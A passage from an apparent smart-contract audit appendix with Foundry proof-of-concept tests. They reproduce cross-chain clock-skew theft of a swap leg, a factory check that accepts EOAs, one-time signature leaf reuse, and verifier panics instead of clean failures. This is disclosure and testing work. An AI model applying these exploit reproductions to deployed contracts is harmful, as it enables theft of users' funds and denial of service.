    }
}

```

P.4 — Cross-chain clock skew defeats the taker fairness buffer and lets the proposer take both legs

← [Back to finding 15](#)

```

// SPDX-License-Identifier: UNLICENSE
pragma solidity 0.8.33;

import {Test} from 'forge-std-1.14.0/Test.sol';
import {Omnibus} from '../../../../src/Omnibus.sol';
import {Asset, AssetType, Terms, TermsLib} from '../../../../src/TermsLib.sol';
import {CommitAuth, LockState} from '../../../../src/interfaces/IOmnibus.sol';
import {
    IERC7913SignatureVerifier
} from '@quip.network/hashsigs-solidity-
0.2.0/contracts/interfaces/IERC7913SignatureVerifier.sol';

contract FactoryStub {
    mapping(address => bytes32) public vaultIdOf;
}

contract VerifierStub is IERC7913SignatureVerifier {
    function verify(bytes calldata, bytes32, bytes calldata) external pure returns
(bytes4) {
        return IERC7913SignatureVerifier.verify.selector;
    }
}

```

```

contract ClockSkewDefeatsFairnessBuffer is Test {
    VerifierStub internal verifier;

    address internal ALICE = makeAddr('alice'); // proposer, on chain A
    address internal BOB = makeAddr('bob'); // taker, on chain B
    address internal ALICE_RECIPIENT = makeAddr('aliceRecipient');
    address internal BOB_RECIPIENT = makeAddr('bobRecipient');

    uint256 internal constant AMOUNT = 10 ether;
    bytes32 internal constant SECRET = keccak256('secret');

    uint256 internal constant CHAIN_A = 1;
    uint256 internal constant CHAIN_B = 8453;

    function setUp() public {
        verifier = new VerifierStub();
        vm.deal(ALICE, 100 ether);
        vm.deal(BOB, 100 ether);
    }

    /// Skew scenario. Deadlines are honestly interleaved
    (1000/2000/3000/4000/5000/6000),
    /// so the taker's buffer is [3000, 5000) on chain A, 2000 seconds wide. Chain
    B lags
    /// chain A by at least that much, so B-time 2900 (inside the proposer claim
    window)
    /// coincides in wall-clock with A-time 5000 (reclaim open, taker window just
    closed).
    function test_clockSkewLetsProposerTakeBothLegs() public {
        (Omnibus omnibusA, Omnibus omnibusB) = _twoChains();
        bytes32 lock = _lockOf(SECRET);
        (Terms memory alice, Terms memory bob) = _nativePair();

        vm.chainId(CHAIN_A);
        vm.warp(500);
        vm.prank(ALICE);
        omnibusA.commit{value: AMOUNT}(lock, alice, bob, _auth(bytes('alice-key')));

        vm.chainId(CHAIN_B);
        vm.warp(1500);
        vm.prank(BOB);
        omnibusB.commit{value: AMOUNT}(lock, bob, alice, _auth(bytes('bob-key')));

        // proposer claims on B at B-time 2900, inside [2000, 3000): the secret is
        now public
        vm.warp(2900);
        vm.prank(ALICE);
        omnibusB.claim(SECRET, alice, bob);
        assertEq(ALICE_RECIPIENT.balance, AMOUNT, 'proposer collected the taker leg
        on B');
        assertEq(uint8(omnibusB.lockState(lock)), uint8(LockState.Spent), 'chain B
        lock spent');
    }
}

```

```

    // In wall-clock that reveal happened at A-time ~5000 (skew >= 2100
seconds). The
    // taker's window on A ([3000, 5000)) is already closed the moment the
secret exists:
    // at A-time 5000 the taker-orientation claim reverts WindowViolated...
    vm.chainId(CHAIN_A);
    vm.warp(5000);
    vm.expectRevert(TermsLib.WindowViolated.selector);
    omnibusA.claim(SECRET, bob, alice);

    // while the proposer's reclaim on A succeeds and returns her own leg
    omnibusA.reclaim(lock, alice, bob);
    assertEq(ALICE.balance, 100 ether, 'proposer recovered her own leg too');
    assertEq(BOB.balance, 100 ether - AMOUNT, 'taker lost its leg and received
nothing');
}

function _newInstance(uint256 onChain) internal returns (Omnibus) {
    vm.chainId(onChain);
    Omnibus instance = new Omnibus(address(this), address(new FactoryStub()));
    instance.setVerifierActivity(address(verifier), true);
    return instance;
}

/// @dev Two Omnibus instances, one per chain id (each bakes its deploy-time
chainid
///      into its DOMAIN_SEPARATOR).
function _twoChains() internal returns (Omnibus omnibusA, Omnibus omnibusB) {
    omnibusA = _newInstance(CHAIN_A);
    omnibusB = _newInstance(CHAIN_B);
}

/// @dev Honestly interleaved native 10 ETH legs: alice proposes on A at
1000/3000/5000,
///      bob takes on B at 2000/4000/6000.
function _nativePair() internal view returns (Terms memory alice, Terms memory
bob) {
    alice = _terms(CHAIN_A, ALICE, ALICE_RECIPIENT, 1000, 3000, 5000,
_native(AMOUNT));
    bob = _terms(CHAIN_B, BOB, BOB_RECIPIENT, 2000, 4000, 6000,
_native(AMOUNT));
}

function _lockOf(bytes32 secret) internal pure returns (bytes32) {
    return keccak256(abi.encodePacked(secret));
}

function _auth(bytes memory key) internal view returns (CommitAuth memory) {
    return CommitAuth({signer: abi.encodePacked(address(verifier), key),
signature: bytes('sig')});
}

```

```

function _native(uint256 amount) internal pure returns (Asset[] memory a) {
    a = new Asset[](1);
    a[0] = Asset({assetType: AssetType.Native, target: address(0), id: 0,
amount: amount});
}

function _terms(
    uint256 chainId,
    address reclaimTo,
    address recipient,
    uint256 commitDeadline,
    uint256 claimDeadline,
    uint256 reclaimRelease,
    Asset[] memory assets
) internal pure returns (Terms memory) {
    return Terms({
        chainId: chainId,
        reclaimRecipient: reclaimTo,
        recipient: recipient,
        commitmentDeadline: commitDeadline,
        claimDeadline: claimDeadline,
        reclaimRelease: reclaimRelease,
        assets: assets
    });
}
}

```

P.5 — WalletFactory.vetImplementation's codehash check does not reject externally owned accounts, allowing deposited funds to be silently stranded

← [Back to finding 22](#)

The following standalone Foundry test, isolated from the audited repository, reproduces the exact mechanics using WalletFactory's own proxy initcode. It confirms that an EOA which has been touched on chain (via a balance or a nonce) has a nonzero codehash and therefore passes the guard, and that the subsequent initialize call on the resulting proxy succeeds silently instead of reverting.

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.33;

import "forge-std/Test.sol";

interface IVoid {
    function initialize(address payable newOwner, bytes calldata payload)
external;
}

contract ProxyEOATest is Test {
    function _deployProxy(address impl, bytes32 salt) internal returns (address

```

```

proxyAddr) {
    // Exact WalletFactory._deployProxy initcode.
    bytes memory proxyInitcode = abi.encodePacked(
        hex"603d3d8160223d3973",
        impl,
        hex"6009",

hex"5155f3363d3d373d3d363d7f360894a13ba1a3210667c828492db98dca3e2076",

hex"cc3735a920a3ca505d382bbc545af43d6000803e6038573d6000fd5b3d6000f3"
    );
    assembly {
        proxyAddr := create(0, add(proxyInitcode, 0x20),
mload(proxyInitcode))
    }
    require(proxyAddr != address(0), "deploy failed");
}

function test_proxy_to_eoa_initialize_call() public {
    address eoa = 0xaAa567890123456789012345678901234567890;
    vm.deal(eoa, 1 ether); // touched account, codehash = keccak256("")
    assertEq(eoa.codehash, keccak256(""));

    address proxy = _deployProxy(eoa, bytes32(uint256(1)));
    assertGt(proxy.code.length, 0);

    // Mirrors WalletFactory._deployProxy's
    IWallet(contractAddr).initialize(to, payload) call.
    IVoid(proxy).initialize(payable(address(0x1)), "");
    // Reaching this line means the high-level call succeeded silently
    despite
    // the implementation address having no code.
}

function test_proxy_to_real_contract_initialize_call() public {
    // Control: a proxy to a real contract that lacks initialize() reverts
    as expected,
    // isolating the EOA case as the one that slips through silently.
    RealContract real = new RealContract();
    address proxy = _deployProxy(address(real), bytes32(uint256(2)));
    vm.expectRevert();
    IVoid(proxy).initialize(payable(address(0x1)), "");
}

}

contract RealContract {
    uint256 public x;
    // Deliberately no initialize() function.
}

```

P.6 — SDK clients allocate one-time leaves from the on-chain bitmap, which records landing, not signing

← [Back to finding 23](#)

```
// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.33;

import {Test} from "forge-std-1.14.0/Test.sol";
import {Vm} from "forge-std-1.14.0/Vm.sol";
import {ERC1967Proxy} from "@openzeppelin-contracts-5.6.0-rc.1/proxy/ERC1967/ERC1967Proxy.sol";
import {ERC4337} from "solady-0.1.26/src/accounts/ERC4337.sol";
import {SHRINCS} from "@quip.network/hashsigns-solidity-0.2.0/contracts/SHRINCS.sol";
import {SHRINCS256sKeccak} from "@quip.network/hashsigns-solidity-0.2.0/test/helpers/SHRINCS256sKeccak.sol";
import {HashSuite} from "shrincs-hash/HashSuite.sol";
import {PackedUserOperation} from "@openzeppelin-contracts-5.6.0-rc.1/interfaces/draft-IERC4337.sol";
import {WalletFactory} from "../../contracts/WalletFactory.sol";
import {ShrincsWallet} from "../../contracts/shrincs/ShrincsWallet.sol";
import {ShrincsWalletCodec as Codec} from
"../../contracts/shrincs/ShrincsWalletCodec.sol";
import {ShrincsPaymaster} from "../../contracts/ShrincsPaymaster.sol";
import {IShrincsPaymaster} from
"../../contracts/interfaces/IShrincsPaymaster.sol";

contract AlwaysRevertingTarget {
    error AlwaysReverts();

    fallback() external payable {
        revert AlwaysReverts();
    }
}

contract SetXTarget {
    uint256 public x;

    function setX(uint256 v) external payable {
        x = v;
    }

    receive() external payable {}
}

contract LeafAllocatorSignVsLand is Test {
    uint32 internal constant MAX_SIG = 4;
    uint256 internal constant CHAIN_ID = 31337;
    address internal constant ENTRY_POINT =
0x0000000071727De22E5E9d8BAf0edAc6f37da032;
```

```

WalletFactory internal factory;
ShrincsWallet internal wallet;

SHRINCS.SigningKey internal mainKey;
SHRINCS.PublicKey internal mainPk;
bytes32 internal mainCommitment;

address internal owner;
uint256 internal ownerPk;

function setUp() public {
    vm.chainId(CHAIN_ID);
    (owner, ownerPk) = makeAddrAndKey("owner");

    bool ok;
    (mainKey, mainPk, ok) = SHRINCS.TestSigner.keygen("sign-vs-land-main",
MAX_SIG);
    require(ok, "keygen");
    mainCommitment = _toBytes32(mainPk.publicKeyCommitment);

    SHRINCS256sKeccak shrincsVerifier = new SHRINCS256sKeccak();
    address admin = makeAddr("admin");
    WalletFactory factoryImpl = new WalletFactory(0.1 ether);
    factory = WalletFactory(
        payable(
            address(
                new ERC1967Proxy(
                    address(factoryImpl),
abi.encodeCall(WalletFactory.initialize, (payable(admin)))
                )
            )
        )
    );
    ShrincsWallet walletImpl = new ShrincsWallet(payable(address(factory)),
address(shrincsVerifier));
    vm.prank(admin);
    factory.vetImplementation(address(walletImpl));
    wallet = ShrincsWallet(
        payable(factory.deployLatestWalletProxy(keccak256("sign-vs-land-
vault"), payable(owner), _initPayload()))
    );
}

    /// owner-direct `execute` at leaf 1 against a reverting target. The
    wallet's own
    /// comment states a revert here "rolls the whole call back", leaf and nonce
    included. The
    /// reverted transaction still lands on-chain with
    /// status 0, so its calldata, a full WOTS-C signature over the message at
    leaf 1, is public.
    function test_revertedExecuteFreesSignedLeaf() public {
        // Sign message A: execute against a target that always reverts.

```

```

    AlwaysRevertingTarget reverter = new AlwaysRevertingTarget();
    bytes memory revertData = hex"deadbeef";
    SHRINCS.Signature memory sigA = _signStatefulAction(
        Codec.ACTION_EXECUTE, Codec.executePayloadHash(address(reverter), 0,
keccak256(revertData), 0), 1
    );

    // The call reverts (the wallet bubbles the target's revert): no leaf
mark persists.
    vm.prank(owner);
    vm.expectRevert(AlwaysRevertingTarget.AlwaysReverts.selector);
    wallet.execute(mainPk, sigA, address(reverter), 0, revertData, 0);

    // On a live chain this reverted tx is included in a block, so sigA's
calldata is
    // public, while the on-chain bitmap says leaf 1 is free.
    assertFalse(wallet.isStatefulLeafUsed(1), "leaf 1 mark rolled back with
the revert");
    assertEquals(wallet.statefulLeavesUsed(), 0, "used counter rolled back");
    assertEquals(wallet.actionNonce(), 0, "nonce rolled back");

    // A retry signs a DIFFERENT message B at the same leaf 1, as a bitmap-
guided client
    // does. It validates and executes: two distinct messages signed at one-
time leaf 1,
    // both signatures public.
    SetXTarget sink = new SetXTarget();
    bytes memory setData = abi.encodeCall(SetXTarget.setX, (42));
    SHRINCS.Signature memory sigB = _signStatefulAction(
        Codec.ACTION_EXECUTE, Codec.executePayloadHash(address(sink), 0,
keccak256(setData), 0), 1
    );
    vm.prank(owner);
    wallet.execute(mainPk, sigB, address(sink), 0, setData, 0);

    assertEquals(sink.x(), 42, "second message at leaf 1 executed on-chain");
    assertTrue(wallet.isStatefulLeafUsed(1), "leaf 1 consumed only NOW, by
message B");
    assertEquals(wallet.statefulLeavesUsed(), 1);
}

/// the dropped-bundle variant. A fully valid userOp (real SHRINCS signature
plus
/// real owner ECDSA co-signature) is signed at leaf 1 but NEVER submitted:
the bundle was
/// dropped by the builder or relayer. The signature is already public (it
went to the
/// bundler or mempool), yet the bitmap is untouched, so a replacement op
over a DIFFERENT
/// userOpHash at the same leaf 1 validates and consumes the leaf.
function test_droppedBundleLeavesSignedLeafFree() public {
    // Sign the dropped bundle's op at leaf 1. This op would validate if
submitted.

```

```

bytes32 droppedHash = keccak256("dropped-user-op");
ERC4337.PackedUserOperation memory droppedOp =
    _signedUserOp(droppedHash, 1);
assertTrue(droppedOp.signature.length > 0, "dropped op fully signed");

// The bundle is dropped: validateUserOp never runs for it. The op, its
WOTS-C
// signature at one-time leaf 1 included, was already shared with the
bundler or
// public mempool. The on-chain state records nothing.
assertFalse(wallet.isStatefulLeafUsed(1), "leaf 1 still free: nothing
landed");
assertEq(wallet.statefulLeavesUsed(), 0);
assertEq(wallet.actionNonce(), 0);

// A bitmap-guided client re-signs at leaf 1 over a different
userOpHash. It
// validates (validationData 0) and consumes the leaf: the second
distinct message
// at leaf 1.
bytes32 landedHash = keccak256("landed-user-op");
ERC4337.PackedUserOperation memory landedOp = _signedUserOp(landedHash,
1);
vm.prank(ENTRY_POINT);
assertEq(
    wallet.validateUserOp(landedOp, landedHash, 0),
    0,
    "different op at leaf 1 validates after the dropped bundle"
);
assertTrue(wallet.isStatefulLeafUsed(1), "leaf 1 consumed by the
replacement op");
assertEq(wallet.actionNonce(), 1);
}

/// @dev Signs the wallet's canonical STATEFUL action message with the main
key at `leaf`,
///      against the wallet's live nonce and key epoch.
function _signStatefulAction(bytes32 actionType, bytes32 payloadHash, uint32
leaf)
    internal
    view
    returns (SHRINCS.Signature memory sig)
{
    SHRINCS.ActionContext memory ctx = Codec.buildActionContext(
        _domainSeparator(), wallet.actionNonce(), wallet.keyVersion(),
actionType, payloadHash
    );
    bytes memory message =

abi.encodePacked(SHRINCS.statefulActionMessageHash(wallet.getShrincsPublicKeyCom
mitment(), ctx));
    bool ok;
    (sig, ok) = SHRINCSTestSigner.signStatefulRawAtLeaf(mainKey, leaf,

```

```

message);
    require(ok, "stateful sign failed");
}

    /// @dev A userOp carrying a real stateful signature at `leaf` over
    `userOpHash`, plus the
    ///      owner's ECDSA co-signature.
    function _signedUserOp(bytes32 userOpHash, uint32 leaf)
        internal
        view
        returns (ERC4337.PackedUserOperation memory op)
    {
        SHRINCS.Signature memory sig =
            _signStatefulAction(Codec.ACTION_ERC4337_EXECUTE,
Codec.erc4337PayloadHash(userOpHash), leaf);
        op.sender = address(wallet);
        op.signature = abi.encode(mainPk, sig, _ownerUserOpEcdsa(userOpHash));
    }

    function _ownerUserOpEcdsa(bytes32 userOpHash) internal view returns (bytes
memory) {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerPk,
wallet.quipUserOpHashEcdsaTarget(userOpHash));
        return abi.encodePacked(r, s, v);
    }

    /// @dev The wallet's canonical SHRINCS signing domain (mirrors
    `_shrincsDomainSeparator`).
    function _domainSeparator() internal view returns (bytes32) {
        return keccak256(abi.encodePacked(Codec.DOMAIN_TAG, block.chainid,
uint256(uint160(address(wallet)))));
    }

    function _initPayload() internal view returns (bytes memory) {
        return abi.encode(
            mainCommitment,
            _toBytes32(mainPk.pkSeed),
            mainPk,
            HashSuite.HASH_SUITE_ID,
            keccak256("dummy-erc1271-commitment"),
            HashSuite.HASH_SUITE_ID
        );
    }

    function _toBytes32(bytes memory b) internal pure returns (bytes32 out) {
        require(b.length == 32, "not 32 bytes");
        assembly {
            out := mload(add(b, 32))
        }
    }
}

contract PaymasterLeafAllocatorSignVsLand is Test {

```

```

uint32 internal constant MAX_SIG = 8;
uint256 internal constant CHAIN_ID = 31337;
address internal constant ENTRY_POINT =
0x0000000071727De22E5E9d8BAf0edAc6f37da032;
address internal constant SPONSOR_SENDER = address(0xA11CE);

// `ActionContext.actionType` for sponsorship approvals (mirrors the
contract's private tag).
bytes32 internal constant ACTION_PAYMASTER_APPROVE =
keccak256("quip.shrincs.action.paymasterApprove");
// Domain tag (mirrors the contract's private `_PAYMASTER_DOMAIN_TAG`).
bytes32 internal constant PAYMASTER_DOMAIN_TAG = keccak256("quip-shrincs-
paymaster-v1");

uint128 internal constant PM_VERIFICATION_GAS = 100_000;
uint128 internal constant PM_POSTOP_GAS = 50_000;

ShrincsPaymaster internal paymaster;

SHRINCS.SigningKey internal verifierKey;
SHRINCS.PublicKey internal verifierPk;
bytes32 internal verifierCommitment;

address internal owner;

function setUp() public {
    vm.chainId(CHAIN_ID);
    owner = makeAddr("owner");

    bool ok;
    (verifierKey, verifierPk, ok) = SHRINCSTestSigner.keygen("sign-vs-land-
verifier", MAX_SIG);
    require(ok, "keygen");
    verifierCommitment = _toBytes32(verifierPk.publicKeyCommitment);

    SHRINCS256sKeccak shrincsVerifier = new SHRINCS256sKeccak();
    ShrincsPaymaster impl = new ShrincsPaymaster(address(shrincsVerifier));
    paymaster = ShrincsPaymaster(
        payable(
            address(
                new ERC1967Proxy(
                    address(impl),
                    abi.encodeCall(ShrincsPaymaster.initialize, (owner,
verifierPk, HashSuite.HASH_SUITE_ID))
                )
            )
        )
    );
}

/// a real sponsorship at leaf 1 validates and consumes the leaf. A second,
/// different sponsorship op (different userOp nonce, so a different binding
hash, so a

```

```

    /// different message) signed at the same leaf 1 is then rejected
    StaleStatefulLeaf. The
    /// contract side is sound in isolation, exactly one op can land. The
    exposure is upstream:
    /// both signatures were public in the mempool before either landed, so the
    two-time
    /// WOTS-C material at leaf 1 exists even though only one op can ever
    validate on-chain.
    function test_secondSameLeafSponsorshipRejectedAfterFirstLands() public {
        // First sponsorship op (nonce 1) at leaf 1: real signature, validates,
        leaf consumed.
        PackedUserOperation memory op1 = _sponsoredUserOp(1, 1);
        (bytes memory ctx, uint256 vd) = _validate(op1);
        assertEq(vd, 0, "first sponsorship at leaf 1 validates");
        assertEq(ctx, abi.encode(SPONSOR_SENDER), "sponsorship context
returned");
        assertTrue(paymaster.isStatefulLeafUsed(1), "leaf 1 consumed on
validation");

        // A bitmap-guided retry (leaf 1 still read free BEFORE the first op
        landed) signs a
        // different op (nonce 2) at leaf 1. Once op1 has landed, the paymaster
        rejects op2.
        PackedUserOperation memory op2 = _sponsoredUserOp(2, 1);
        (uint256 reason, uint256 vd2) = _rejectReason(op2);
        assertEq(
            reason,

uint256(IShrincsPaymaster.PaymasterValidationFailure.StaleStatefulLeaf),
            "second use of leaf 1 rejected as stale"
        );
        assertEq(vd2, 1, "rejected op returns validationData 1");
        // Both sig1 (inside op1.paymasterAndData) and sig2 left the sponsor's
        hands the moment
        // the ops reached the bundler or mempool, before either validation ran.
    }

    /// @dev A fully signed sponsorship userOp: the binding hash covers only the
    64-byte
    /// `paymasterAndData` prefix, so the op is built with the prefix,
    signed, then the
    /// (pk, sig) blob is attached.
    function _sponsoredUserOp(uint256 nonce, uint32 leaf) internal view returns
    (PackedUserOperation memory op) {
        bytes memory prefix = _pmPrefix();
        op = _userOp(SPONSOR_SENDER, prefix);
        op.nonce = nonce;
        SHRINCS.Signature memory sig = _signSponsorship(_userOpBindingHash(op),
leaf);
        op.paymasterAndData = abi.encodePacked(prefix, abi.encode(verifierPk,
sig));
    }

```

```

    /// @dev The rejection reason of a single validate call (the ("", 1)
    contract).
    function _rejectReason(PackedUserOperation memory op) internal returns
    (uint256 reason, uint256 vd) {
        vm.recordLogs();
        vm.prank(ENTRY_POINT);
        (, vd) = paymaster.validatePaymasterUserOp(op, bytes32(0), 1 ether);
        Vm.Log[] memory logs = vm.getRecordedLogs();
        for (uint256 i; i < logs.length; i++) {
            if (logs[i].topics[0] ==
IShrincsPaymaster.PaymasterValidationRejected.selector) {
                return (abi.decode(logs[i].data, (uint256)), vd);
            }
        }
        revert("no PaymasterValidationRejected emitted");
    }

    function _validate(PackedUserOperation memory op)
        internal
        returns (bytes memory context, uint256 validationData)
    {
        vm.prank(ENTRY_POINT);
        return paymaster.validatePaymasterUserOp(op, bytes32(0), 1 ether);
    }

    /// @dev Signs the paymaster's canonical sponsorship context over
    `bindingHash` at `leaf`.
    function _signSponsorship(bytes32 bindingHash, uint32 leaf)
        internal
        view
        returns (SHRINCS.Signature memory sig)
    {
        (, uint256 keyVersion, ) = paymaster.getShrincsVerifier();
        SHRINCS.ActionContext memory ctx = SHRINCS.ActionContext({
            domainSeparator: _domainSeparator(),
            nonce: 0,
            keyVersion: keyVersion,
            actionType: ACTION_PAYMASTER_APPROVE,
            payloadHash: bindingHash
        });
        bytes memory message =
abi.encodePacked(SHRINCS.statefulActionMessageHash(verifierCommitment, ctx));
        bool ok;
        (sig, ok) = SHRINCSTestSigner.signStatefulRawAtLeaf(verifierKey, leaf,
message);
        require(ok, "sponsorship sign failed");
    }

    /// @dev paymaster(20) | vGas(16) | postOpGas(16) | validUntil(6) |
    validAfter(6) = 64 bytes.
    function _pmPrefix() internal view returns (bytes memory) {
        return abi.encodePacked(address(paymaster), PM_VERIFICATION_GAS,
PM_POSTOP_GAS, uint48(0), uint48(0));
    }

```

```

    }

    /// @dev Mirrors the contract's `_userOpBindingHash`: every userOp field
    plus the
    ///      `paymasterAndData` prefix up to (excluding) the SHRINCS blob.
    function _userOpBindingHash(PackedUserOperation memory op) internal pure
    returns (bytes32) {
        return keccak256(
            abi.encodePacked(
                bytes32(uint256(uint160(op.sender))),
                bytes32(op.nonce),
                keccak256(op.initCode),
                keccak256(op.callData),
                op.accountGasLimits,
                bytes32(op.preVerificationGas),
                op.gasFees,
                keccak256(_prefix64(op.paymasterAndData))
            )
        );
    }

    /// @dev The paymaster's canonical signing domain (mirrors
    `_domainSeparator`).
    function _domainSeparator() internal view returns (bytes32) {
        return keccak256(
            abi.encodePacked(PAYMASTER_DOMAIN_TAG, block.chainid,
            uint256(uint160(address(paymaster))))
        );
    }

    function _prefix64(bytes memory pmd) internal pure returns (bytes memory
    prefix) {
        require(pmd.length >= 64, "pmd too short");
        prefix = new bytes(64);
        for (uint256 i; i < 64; i++) {
            prefix[i] = pmd[i];
        }
    }

    function _userOp(address sender, bytes memory pmData) internal pure returns
    (PackedUserOperation memory op) {
        op.sender = sender;
        op.nonce = 0;
        op.initCode = "";
        op.callData = "";
        op.accountGasLimits = bytes32((uint256(100_000) << 128) |
        uint256(100_000));
        op.preVerificationGas = 21_000;
        op.gasFees = bytes32((uint256(1 gwei) << 128) | uint256(10 gwei));
        op.paymasterAndData = pmData;
        op.signature = "";
    }

```

```

function _toBytes32(bytes memory b) internal pure returns (bytes32 out) {
    require(b.length == 32, "not 32 bytes");
    assembly {
        out := mload(add(b, 32))
    }
}

```

P.7 — The FORS-C verification routine documents a signature-shape and randomizer-length check that does not exist in its body

← [Back to finding 31](#)

A working proof of concept, included below, starts from a genuinely valid stateless signature produced by the in-repository signer, removes one element from its FORS entries array, and submits the result through SHRINCSVerifier's public `verifyStateless` function, which delegates to the pinned SPHINCSPlusC sibling exactly as it would for any external caller. No grinding or private key material is needed for this construction, because truncating the entries array does not change the digest that the earlier omitted-tree check depends on; that check passes exactly as it did for the honest signature, and the loop then panics on the shortened array. The call reverts with a Solidity array-index panic rather than returning the documented invalid-signature value.

```

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";
import {SHRINCS} from "../contracts/SHRINCS.sol";
import {SPHINCSPlusC} from "../contracts/SPHINCSPlusC.sol";
import {FORSMinusC} from "../contracts/FORSMinusC.sol";
import {SHRINCSParams} from "shrincs-profile/SHRINCSParams.sol";
import {
    SHRINCSAccountSigningFacade
} from "../helpers/SHRINCSAccountSigningFacade.sol";
import {
    SHRINCSStatelessVectorSigner
} from "../helpers/SHRINCSStatelessVectorSigner.sol";

contract Signer is SHRINCSStatelessVectorSigner {}

interface IPinnedStatelessVerifier {
    function pinned() external pure returns (address);
    function verifyStateless(
        bytes calldata key,
        bytes32 hash,
        bytes calldata signature
    ) external view returns (bytes4);
}

```

```

}

/// Reuses the exact valid-fixture construction and pinned-deployment
/// pattern from test/SHRINCSSStatelessDelegation.t.sol, targeting the
/// 256s-keccak profile where in-Solidity stateless signing is feasible.
contract ForsShortEntriesPanics is Test {
    Signer internal signer;
    IPinnedStatelessVerifier internal verifier;

    bytes32 internal signedHash;
    bytes internal validKey;
    SHRINCS.PublicKey internal publicKey;
    SPHINCSPlusC.Signature internal validSignature;

    function setUp() public {
        signer = new Signer();

        SHRINCS.SigningKey memory signingKey;
        bool ok;
        (signingKey, publicKey, ok) = SHRINCSAccountSigningFacade.keygen(
            bytes("stateless delegation fixture"), 4
        );
        require(ok, "keygen");

        signedHash = keccak256("stateless delegation message");
        (bytes32 sessionId, bool beginOk) = signer.beginSession(
            signingKey, publicKey, abi.encodePacked(signedHash)
        );
        require(beginOk, "begin");
        bool completeOk;
        (validSignature, completeOk) =
            SHRINCSAccountSigningFacade.completeStatelessSession(
                signer, sessionId
            );
        require(completeOk, "complete");
        validKey = abi.encodePacked(
            SHRINCSAccountSigningFacade.publicKeyCommitmentWord(publicKey)
        );

        verifier = IPinnedStatelessVerifier(
            deployCode("SHRINCSPinned256s.t.sol:SHRINCS256sPinHarness")
        );
        deployCodeTo(
            "SPHINCSPlusC256sKeccak.sol:SPHINCSPlusC256sKeccak",
            "",
            verifier.pinned()
        );
    }

    /// Baseline: the untouched valid fixture verifies successfully.
    function test_validEnvelopeVerifies() public view {
        bytes memory envelope =
            SHRINCS.encodeStatelessEnvelope(publicKey, validSignature);
    }
}

```

```

        bytes4 result = verifier.verifyStateless(validKey, signedHash,
envelope);
        assertEq(result, bytes4(0x024ad318), "baseline fixture must verify");
    }

    /// Truncating fors.entries by one element does not change the FORS
    /// digest (randomizer, counter, pkSeed, hypertreeRoot, message are
    /// untouched), so the omitted-final-tree zero check still passes
    /// exactly as it did for the honest signature. The loop then panics
    /// indexing entries[tree] once tree reaches the truncated length,
    /// instead of returning the documented 0xffffffff.
    function test_shortEntriesArrayPanics() public {
        SPHINCSPlusC.Signature memory mutated = validSignature;
        uint256 signedTrees = uint256(SHRINCSPParams.NUM_FORS_TREES) - 1;
        FORSMinusC.ForsEntry[] memory shortEntries =
            new FORSMinusC.ForsEntry[](signedTrees - 1);
        for (uint256 i = 0; i < signedTrees - 1; ++i) {
            shortEntries[i] = mutated.fors.entries[i];
        }
        mutated.fors.entries = shortEntries;

        bytes memory envelope =
            SHRINCS.encodeStatelessEnvelope(publicKey, mutated);

        vm.expectRevert(stdError.indexOOBError);
        verifier.verifyStateless(validKey, signedHash, envelope);
    }
}

```

P.8 — The guard applicability review records two contradictory verdicts for the leaf-zero guard, and a ground leaf-zero envelope panics through the public verify endpoint instead of returning the failure value

← [Back to finding 36](#)

A working proof of concept, included below, finds such a counter in two hundred thirty-five attempts against a freshly generated key, well within gas and time budgets available to any caller. The resulting envelope, carrying an empty authPath and arbitrary chain values, passes the leaf-index bound, the commitment check, and the target-sum gate, then panics with a Solidity array-index-out-of-bounds error inside rootFromUnbalancedPath, propagating uncaught through the public verify endpoint on SHRINCSVerifier, since no try/catch surrounds any call in that chain.

```

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";
import {

```

```

    IERC7913SignatureVerifier
} from "../../contracts/interfaces/IERC7913SignatureVerifier.sol";
import {SHRINCS} from "../../contracts/SHRINCS.sol";
import {SHRINCSVerifier} from "../../contracts/SHRINCSVerifier.sol";
import {WOTSPlusC} from "../../contracts/WOTSPlusC.sol";
import {SHRINCSParams} from "shrincs-profile/SHRINCSParams.sol";
import {HashSuite} from "shrincs-hash/HashSuite.sol";
import {SHRINCSTestSigner} from "../helpers/SHRINCSTestSigner.sol";

contract LeafZeroVerifierHarness is SHRINCSVerifier {
    function _pinnedSphincsPlusC() internal pure override returns (address) {
        return address(0);
    }
}

contract LeafZeroPanics is Test {
    bytes4 internal constant MAGIC = IERC7913SignatureVerifier.verify.selector;
    bytes4 internal constant INVALID = 0xffffffff;

    SHRINCSVerifier internal verifier;

    SHRINCS.SigningKey internal signingKey;
    SHRINCS.PublicKey internal publicKey;
    bytes internal validKey;
    bytes32 internal hashA;
    bytes internal sigLeaf1A;

    function setUp() public {
        verifier = new LeafZeroVerifierHarness();
        bool ok;
        (signingKey, publicKey, ok) =
            SHRINCSTestSigner.keygen(bytes("leaf zero issue seed"), 4);
        assertTrue(ok, "keygen");
        validKey = abi.encodePacked(_commitmentWord(publicKey));
        hashA = keccak256("leaf zero issue message");

        SHRINCS.Signature memory sig;
        (sig, ok) = SHRINCSTestSigner.signStatefulRawAtLeaf(
            signingKey, 1, abi.encodePacked(hashA)
        );
        assertTrue(ok, "sign leaf 1");
        sigLeaf1A = SHRINCS.encodeStatefulEnvelope(publicKey, sig);
    }

    /// A leaf-0 envelope (empty authPath) whose (randomizer, counter) pair
    /// is ground so the WOTS-C digest hits the target sum passes every
    /// guard: commitment match, bundle shape, the leafIndex <= maxSignatures
    /// check, and the target-sum gate. It then reaches
    /// rootFromUnbalancedPath, which reads authPath[0] of the empty array
    /// and panics 0x32 instead of returning 0xffffffff. SHRINCSVerifier.verify
    /// has no try/catch, so the panic propagates to any caller.
    function test_leafZeroEnvelopePanics() public {
        (bytes memory leafZero, uint32 groundCounter) =

```

```

        _craftLeafZeroEnvelope(hashA);
emit_log_named_uint("leaf-0 ground counter", groundCounter);
vm.expectRevert(stdError.index00BError);
verifier.verify(validKey, hashA, leafZero);
}

/// Contrast arm: a leaf-0 envelope whose digest is NOT ground to the
/// target sum fails the sum gate first and gets a clean 0xffffffff.
/// This is the case the existing pinned regression test actually
/// exercises.
function test_leafZeroUngroundReturnsInvalid() public view {
    (
        SHRINCS.PublicKey memory pk,
        SHRINCS.Signature memory sig
